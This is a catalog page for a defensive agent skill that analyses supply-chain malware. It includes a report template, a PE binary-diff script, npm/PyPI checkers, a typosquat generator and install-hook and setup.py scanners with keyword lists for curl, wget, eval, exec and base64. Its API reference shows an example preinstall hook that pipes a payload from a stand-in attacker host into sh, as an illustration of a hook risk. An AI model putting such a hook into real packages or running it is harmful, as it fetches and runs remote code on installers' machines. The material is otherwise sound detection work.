
Analyzing Supply Chain Malware Artifacts
- 233 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Analyzing-supply-chain-malware-artifacts is an agent skill that structures supply-chain malware sample analysis into findings, IOCs, and recommendations using a fixed report template.
About
Analyzing-supply-chain-malware-artifacts is a security agent skill that gives solo builders and small security-minded teams a repeatable report skeleton for suspicious dependency or package artifacts. The SKILL content centers on filling structured tables for sample metadata, graded findings, extracted indicators of compromise, and prioritized recommendations—suited when you are investigating a potentially malicious supply-chain sample rather than doing casual code review. It does not replace automated scanners; it standardizes human-led triage so nothing critical is omitted from the write-up. Invoke it when you need a formal analysis memo after obtaining hashes and file types from an incident or hunt. Pair with your own tooling for sandbox execution and verification; this skill packages the documentation ritual.
- Standard analysis report table for sample SHA-256, type, date, analyst, and TLP:AMBER classification
- Findings grid with severity and details per row
- Dedicated IOC extraction table (type, value, context)
- Numbered recommendations section for remediation follow-up
- Template-oriented workflow for consistent supply-chain malware write-ups
Analyzing Supply Chain Malware Artifacts by the numbers
- 233 all-time installs (skills.sh)
- +11 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #709 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: MEDIUM risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-supply-chain-malware-artifactsAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 233 |
|---|---|
| repo stars | ★ 27.3k |
| Security audit | 2 / 3 scanners passed |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Structure supply-chain malware sample analysis into a severity-ranked report with IOCs and actionable recommendations.
Who is it for?
Best when you're documenting malware-linked dependency artifacts after initial collection of hash and file type.
Skip if: Routine npm/pip version bumps with no malicious indicators, or fully automated pipeline triage with no human report step.
When should I use this skill?
User needs to analyze or document supply-chain malware artifacts, IOCs, and severity-ranked findings from a collected sample.
What you get
You produce a TLP-aware analysis report with tabular findings, extracted IOCs, and ordered recommendations ready to share with your team.
- Completed analysis report with sample metadata table
- Findings table with severity columns
- IOC list and numbered recommendations
By the numbers
- Report template includes 3 numbered recommendation slots
- Structured tables for sample info, findings, and IOCs
Files
Analyzing Supply Chain Malware Artifacts
Overview
Supply chain attacks compromise legitimate software distribution channels to deliver malware through trusted update mechanisms. Notable examples include SolarWinds SUNBURST (2020, affecting 18,000+ customers), 3CX SmoothOperator (2023, a cascading supply chain attack originating from Trading Technologies), and numerous npm/PyPI package poisoning campaigns. Analysis involves comparing trojanized binaries against legitimate versions, identifying injected code in build artifacts, examining code signing anomalies, and tracing the infection chain from initial compromise through payload delivery. As of 2025, supply chain attacks account for 30% of all breaches, a 100% increase from prior years.
When to Use
- When investigating security incidents that require analyzing supply chain malware artifacts
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
Prerequisites
- Python 3.9+ with
pefile,ssdeep,hashlib - Binary diff tools (BinDiff, Diaphora)
- Code signing verification tools (sigcheck, codesign)
- Software composition analysis (SCA) tools
- Access to legitimate software versions for comparison
- Package repository monitoring (npm, PyPI, NuGet)
Workflow
Step 1: Binary Comparison Analysis
#!/usr/bin/env python3
"""Compare trojanized binary against legitimate version."""
import hashlib
import pefile
import sys
import json
def compare_pe_files(legitimate_path, suspect_path):
"""Compare PE file structures between legitimate and suspect versions."""
legit_pe = pefile.PE(legitimate_path)
suspect_pe = pefile.PE(suspect_path)
report = {"differences": [], "suspicious_sections": [], "import_changes": []}
# Compare sections
legit_sections = {s.Name.rstrip(b'\x00').decode(): {
"size": s.SizeOfRawData,
"entropy": s.get_entropy(),
"characteristics": s.Characteristics,
} for s in legit_pe.sections}
suspect_sections = {s.Name.rstrip(b'\x00').decode(): {
"size": s.SizeOfRawData,
"entropy": s.get_entropy(),
"characteristics": s.Characteristics,
} for s in suspect_pe.sections}
# Find new or modified sections
for name, props in suspect_sections.items():
if name not in legit_sections:
report["suspicious_sections"].append({
"name": name, "reason": "New section not in legitimate version",
"size": props["size"], "entropy": round(props["entropy"], 2),
})
elif abs(props["size"] - legit_sections[name]["size"]) > 1024:
report["suspicious_sections"].append({
"name": name, "reason": "Section size significantly changed",
"legit_size": legit_sections[name]["size"],
"suspect_size": props["size"],
})
# Compare imports
legit_imports = set()
if hasattr(legit_pe, 'DIRECTORY_ENTRY_IMPORT'):
for entry in legit_pe.DIRECTORY_ENTRY_IMPORT:
for imp in entry.imports:
if imp.name:
legit_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")
suspect_imports = set()
if hasattr(suspect_pe, 'DIRECTORY_ENTRY_IMPORT'):
for entry in suspect_pe.DIRECTORY_ENTRY_IMPORT:
for imp in entry.imports:
if imp.name:
suspect_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")
new_imports = suspect_imports - legit_imports
if new_imports:
report["import_changes"] = list(new_imports)
# Check code signing
report["legit_signed"] = bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)
report["suspect_signed"] = bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)
return report
def hash_file(filepath):
"""Calculate multiple hashes for a file."""
hashes = {}
with open(filepath, 'rb') as f:
data = f.read()
for algo in ['md5', 'sha1', 'sha256']:
h = hashlib.new(algo)
h.update(data)
hashes[algo] = h.hexdigest()
return hashes
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <legitimate_binary> <suspect_binary>")
sys.exit(1)
report = compare_pe_files(sys.argv[1], sys.argv[2])
print(json.dumps(report, indent=2))Validation Criteria
- Trojanized components identified through binary diffing
- Injected code isolated and analyzed separately
- Code signing anomalies documented
- Infection timeline reconstructed from build artifacts
- Downstream impact scope assessed across affected systems
- IOCs extracted for detection and blocking
References
Analysis Report Template - analyzing-supply-chain-malware-artifacts
Sample Information
| Field | Value |
|---|---|
| SHA-256 | |
| File Type | |
| Analysis Date | |
| Analyst | |
| Classification | TLP:AMBER |
Findings
| Finding | Severity | Details |
|---|---|---|
IOCs Extracted
| Type | Value | Context |
|---|---|---|
Recommendations
1. 2. 3.
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Supply Chain Malware Analysis
npm Registry API
Package Metadata
curl https://registry.npmjs.org/<package-name>
curl https://registry.npmjs.org/<package-name>/<version>Response Fields
| Field | Description |
|---|---|
dist-tags.latest | Latest version |
versions | All published versions |
maintainers | Package maintainers |
time.created | First publish date |
time.modified | Last modification |
PyPI JSON API
Package Info
curl https://pypi.org/pypi/<package-name>/jsonKey Fields
| Field | Description |
|---|---|
info.author | Package author |
info.version | Current version |
releases | All versions with artifacts |
info.project_urls | Source code links |
Socket.dev - Supply Chain Analysis
npm Audit
socket npm audit
socket npm info <package>Suspicious Package Indicators
| Indicator | Severity | Description |
|---|---|---|
| preinstall/postinstall hooks | HIGH | Code runs during npm install |
| URL/git dependencies | HIGH | Dependencies from non-registry source |
| eval/exec in setup.py | HIGH | Dynamic code execution during pip install |
| Base64 in install scripts | HIGH | Obfuscated payload |
| Recently created package | MEDIUM | New package mimicking popular name |
| Single maintainer | LOW | Bus factor risk |
Sigstore/cosign Verification
Verify Container Image
cosign verify --certificate-identity-regexp=".*" \
--certificate-oidc-issuer-regexp=".*" image:tagVerify Artifact
cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gzSLSA Framework Levels
| Level | Requirement |
|---|---|
| SLSA 1 | Build provenance exists |
| SLSA 2 | Hosted build platform, authenticated provenance |
| SLSA 3 | Hardened build platform, non-falsifiable provenance |
| SLSA 4 | Two-party review, hermetic builds |
npm install Hook Risks
{
"scripts": {
"preinstall": "curl evil[.]example/payload | sh",
"postinstall": "node ./install.js",
"preuninstall": "node cleanup.js"
}
}Standards Reference - analyzing-supply-chain-malware-artifacts
Applicable Standards
- MITRE ATT&CK Framework
- NIST SP 800-83 Guide to Malware Incident Prevention
- NIST SP 800-86 Guide to Integrating Forensic Techniques
Related MITRE ATT&CK Techniques
See SKILL.md for specific technique mappings.
Analysis Workflows - analyzing-supply-chain-malware-artifacts
Primary Workflow
[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction]
|
v
[Report Generation]See SKILL.md for detailed step-by-step procedures.
#!/usr/bin/env python3
"""Supply chain malware artifact analysis agent.
Analyzes software supply chain compromise indicators including package
integrity, build pipeline artifacts, dependency confusion, and trojanized updates.
"""
import os
import sys
import json
import hashlib
import re
import subprocess
from datetime import datetime
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
def compute_hash(filepath):
hashes = {}
for algo in ("md5", "sha1", "sha256"):
h = hashlib.new(algo)
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
h.update(chunk)
hashes[algo] = h.hexdigest()
return hashes
def check_npm_package(package_name):
if not HAS_REQUESTS:
return {"error": "requests not installed"}
url = f"https://registry.npmjs.org/{package_name}"
try:
resp = requests.get(url, timeout=15)
resp.raise_for_status()
data = resp.json()
latest = data.get("dist-tags", {}).get("latest", "")
versions = list(data.get("versions", {}).keys())
maintainers = data.get("maintainers", [])
return {
"name": package_name, "latest": latest,
"version_count": len(versions),
"maintainers": [m.get("name") for m in maintainers],
}
except requests.RequestException as e:
return {"error": str(e)}
def check_pypi_package(package_name):
if not HAS_REQUESTS:
return {"error": "requests not installed"}
url = f"https://pypi.org/pypi/{package_name}/json"
try:
resp = requests.get(url, timeout=15)
resp.raise_for_status()
data = resp.json()
info = data.get("info", {})
return {
"name": info.get("name"), "version": info.get("version"),
"author": info.get("author"),
"release_count": len(data.get("releases", {})),
}
except requests.RequestException as e:
return {"error": str(e)}
def detect_typosquat_packages(target_name):
permutations = set()
for i in range(len(target_name)):
permutations.add(target_name[:i] + target_name[i+1:])
for i in range(len(target_name) - 1):
swapped = list(target_name)
swapped[i], swapped[i+1] = swapped[i+1], swapped[i]
permutations.add("".join(swapped))
permutations.add(target_name.replace("-", "_"))
permutations.add(target_name.replace("_", "-"))
permutations.discard(target_name)
return sorted(permutations)
def analyze_package_scripts(package_json_path):
with open(package_json_path, "r") as f:
pkg = json.load(f)
findings = []
scripts = pkg.get("scripts", {})
for hook in ["preinstall", "postinstall", "preuninstall"]:
if hook in scripts:
cmd = scripts[hook]
findings.append({
"type": "install_hook", "hook": hook, "command": cmd[:200],
"severity": "HIGH" if any(s in cmd.lower() for s in
["curl", "wget", "eval", "exec", "base64"]) else "MEDIUM",
})
deps = {**pkg.get("dependencies", {}), **pkg.get("devDependencies", {})}
for dep, ver in deps.items():
if ver.startswith("http") or ver.startswith("git"):
findings.append({
"type": "url_dependency", "package": dep,
"source": ver[:200], "severity": "HIGH",
})
return {"name": pkg.get("name"), "findings": findings}
def analyze_python_setup(setup_py_path):
with open(setup_py_path, "r") as f:
content = f.read()
findings = []
patterns = [
(r"os\.system\(", "os.system() execution"),
(r"subprocess\.", "subprocess execution"),
(r"exec\(", "exec() code execution"),
(r"eval\(", "eval() code execution"),
(r"base64\.b64decode", "Base64 decoding"),
(r"socket\.", "Network socket usage"),
]
for pattern, description in patterns:
if re.search(pattern, content):
findings.append({
"type": "suspicious_setup_code",
"pattern": description, "severity": "HIGH",
})
return {"file": setup_py_path, "findings": findings}
if __name__ == "__main__":
print("=" * 60)
print("Supply Chain Malware Artifact Analysis Agent")
print("Package integrity, typosquat detection, install hook analysis")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if not target:
print("\n[DEMO] Usage:")
print(" python agent.py <package.json> # Analyze npm package")
print(" python agent.py npm:<package_name> # Check npm registry")
print(" python agent.py pypi:<package_name> # Check PyPI registry")
sys.exit(0)
if target.startswith("npm:"):
pkg_name = target[4:]
print(f"\n[*] Checking npm: {pkg_name}")
info = check_npm_package(pkg_name)
typos = detect_typosquat_packages(pkg_name)
print(json.dumps(info, indent=2))
print(f"\n Potential typosquats: {typos[:10]}")
elif target.startswith("pypi:"):
pkg_name = target[5:]
print(f"\n[*] Checking PyPI: {pkg_name}")
info = check_pypi_package(pkg_name)
print(json.dumps(info, indent=2))
elif os.path.exists(target):
basename = os.path.basename(target)
if basename == "package.json":
result = analyze_package_scripts(target)
elif basename == "setup.py":
result = analyze_python_setup(target)
else:
result = {"file": target, "hashes": compute_hash(target)}
print(json.dumps(result, indent=2))
Related skills
How it compares
Use this documentation template instead of free-form chat summaries when you need audit-ready supply-chain malware notes.
FAQ
Who is analyzing-supply-chain-malware-artifacts for?
Developers, SaaS founders, and small teams who investigate compromised packages or artifacts and must report IOCs clearly.
When should I use analyzing-supply-chain-malware-artifacts?
During Ship security when you are analyzing supply-chain malware artifacts and need structured findings, IOC tables, and recommendations before trusting a release.
Is analyzing-supply-chain-malware-artifacts safe to install?
Check the Security Audits panel on this Prism page; handling real malware samples should stay in isolated analysis environments regardless of skill content.